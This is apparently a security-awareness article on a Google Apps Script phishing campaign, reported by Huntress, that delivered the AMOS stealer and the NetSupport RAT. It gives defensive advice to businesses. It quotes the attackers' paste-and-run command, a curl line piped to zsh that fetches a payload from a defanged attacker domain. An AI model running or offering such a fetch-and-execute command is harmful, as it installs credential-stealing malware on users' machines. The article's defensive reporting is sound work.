Google Apps Script phishing: a shared doc that runs code

A threat actor spent eleven days building rapport with a Huntress researcher on X, then sent a Google Doc that appeared to be encrypted. The "decryption panel" was a custom sidebar built with Google Apps Script, and entering the key it asked for started a malware chain that ended in an infostealer on macOS or a remote-access trojan on Windows. Google Apps Script phishing works because the document is genuinely hosted by Google — the link is real, the domain is real, and the payload arrives after the trust check has already passed.

What actually happened

Per Huntress, contact started August 9, 2026 from an X account impersonating CoinDesk's VP and Head of Marketing. The pretext was help planning a crypto conference — a plausible ask aimed at people who had just come back from Black Hat and DEF CON.

The Doc contained a script-driven sidebar (DecryptPanel.html) that renders only for an authenticated Google user. It asked for an access key, then deliberately failed validation — which set up the "fix" step:

• macOS: paste-and-run instructions for curl -fsSL https://apple-googleapi[.]com/i | zsh, with a fallback .dmg hosted on GitHub Releases. The payload matched Atomic macOS Stealer (AMOS) — browser data, keychain, crypto wallets.
• Windows: a fake "Google API Connector Update" button firing a ClickOnce manifest, which pulled an installer masquerading as DocSend. It dropped NetSupport Manager RAT, a rogue certificate authority for local traffic interception, and a Ledger wallet implant.

Both installers were signed. The DocSend one used a code-signing certificate stolen from Discord Inc.; other payloads used a stolen Lenovo certificate. Neither signature validates — but a signature that fails validation still looks like a signature to a user squinting at a UAC prompt.

The researcher recognized the lure immediately and kept engaging to map the chain.

Why this matters for your business

Strip out the conference and the crypto and you have the pattern that will reach your team: a real Google Doc, from someone who has been friendly for a week, with an interactive element that asks you to do one small thing.

Apps Script is the part most operators have never thought about. It is a legitimate Workspace feature that lets a document render custom UI and execute code in your Google session. Your email filter does not flag a Docs link. Your endpoint agent sees a browser. The malicious step is a human copying a command into a terminal — which is exactly why ClickFix-style attacks keep working.

What to actually do this week:

Ban paste-to-terminal as a support pattern. No legitimate vendor fixes anything by having you run a curl | zsh line from a document. Say it out loud to your team so the next one is obviously wrong.

Check your Apps Script posture. Google Workspace admins can restrict which Apps Script projects run and who can authorize them. If you have never opened that setting, you have it on default.

Stop treating a code signature as a verdict. These payloads were signed with certificates stolen from Discord and Lenovo. "Signed by a company you recognize" and "signature validates" are different claims, and only one of them is checkable at the prompt.

Rehearse the slow build. The eleven-day rapport window is the whole attack. Anything that arrives after a friendly week deserves the same check as anything arriving cold.

Sources: Huntress, TechCrunch.